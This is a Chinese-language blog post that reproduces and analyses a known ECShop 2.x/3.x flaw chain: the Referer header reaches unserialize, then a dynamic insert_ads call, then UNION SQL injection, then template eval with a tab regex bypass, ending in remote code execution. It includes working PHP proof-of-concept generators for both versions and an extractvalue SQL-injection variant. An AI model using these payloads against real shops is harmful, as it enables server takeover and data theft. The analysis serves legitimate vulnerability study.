1. 程式人生 > 其它 >ECShop相關漏洞復現/分析

ECShop相關漏洞復現/分析

漏洞復現


使用P師傅的Paylaod

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";



EcShop 2.x



EcShop3.x


從POC看的話,可以看的出漏洞處於Referer該請求頭處

漏洞分析


漏洞位於 user.php


這裡面的 $back_act 可控,之後進入 assign 函式中


跟進發現將其值賦給 _var[$tpl_var] ,這個可能就是模版變數


之後呼叫 display 函式



$out 就是讀取模版檔案的內容,然後再用 $this->_echash 分割成陣列,再將奇數的值放入 $this->insert_mod 中,我們跟進這個函式


這裡面先用 |

來分割獲取函式名以及引數,引數後面使用反序列化獲取,然後 $fun($para) 動態呼叫

POC中找到的可用函式為 insert_ads

根進可以發現,我們的資料被插入了sql中




那麼這裡面顯然是個Sql主入漏洞

將P神的Payload稍微改了一下就能夠Sql注入了

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,3,(extractvalue(rand(),concat(0x7e,version())),1),4,5,6,7,8,9,10-- -'),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
?>



至於如何Rce需要繼續向下分析

查詢到的欄位放在 $res



其中將 $position_style 賦值為 $row['position_style']


在後面的 fetch 中會呼叫

跟進看看


只要滿足 strncmp($filename,'str:', 4) == 0 就會進入 $->_eval() 函式

eval其實主要就是執行程式碼,重要的就是 fetch_str 這個函式


其中第一個正則


他過濾了類似於 phpinfo() 或者 phpinfo () 這類的,這裡面使用的是 \t 繞過


這條的正則的意思為


我們繼續跟進去 select() 函式


當傳入的第一個字元為 $ 時去除 $ 進入 $this->get_val() 函式

&nbsp
若我們傳入值不為 .$ 進入 nake_var 函式

跟進


若傳入的變數不存在 . 則返回 $this->_var['變數'];


回到最後前面就會返回

<?php echo  $this->_var['變數'];?>



最後拼接到eval中執行


顯然我們可以利用單引號逃逸這個變數,因此exp為

{$asd'];phpinfo\t();//}xxx


放入原Payload就為

<?php echo  $this->_var['asd'];phpinfo\t();//'];?>


同時3.x的漏洞也跟這個差不多,不同的只是 $this->_echash的不同

這裡面貼上P神的POC

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";


簡單總結

HttpReferer-> 利用$this->_echash進行分割->反序列化動態呼叫函式(函式名,引數可控)->利用union sql注入覆蓋資料->正則繞過,單引號逃逸->RCE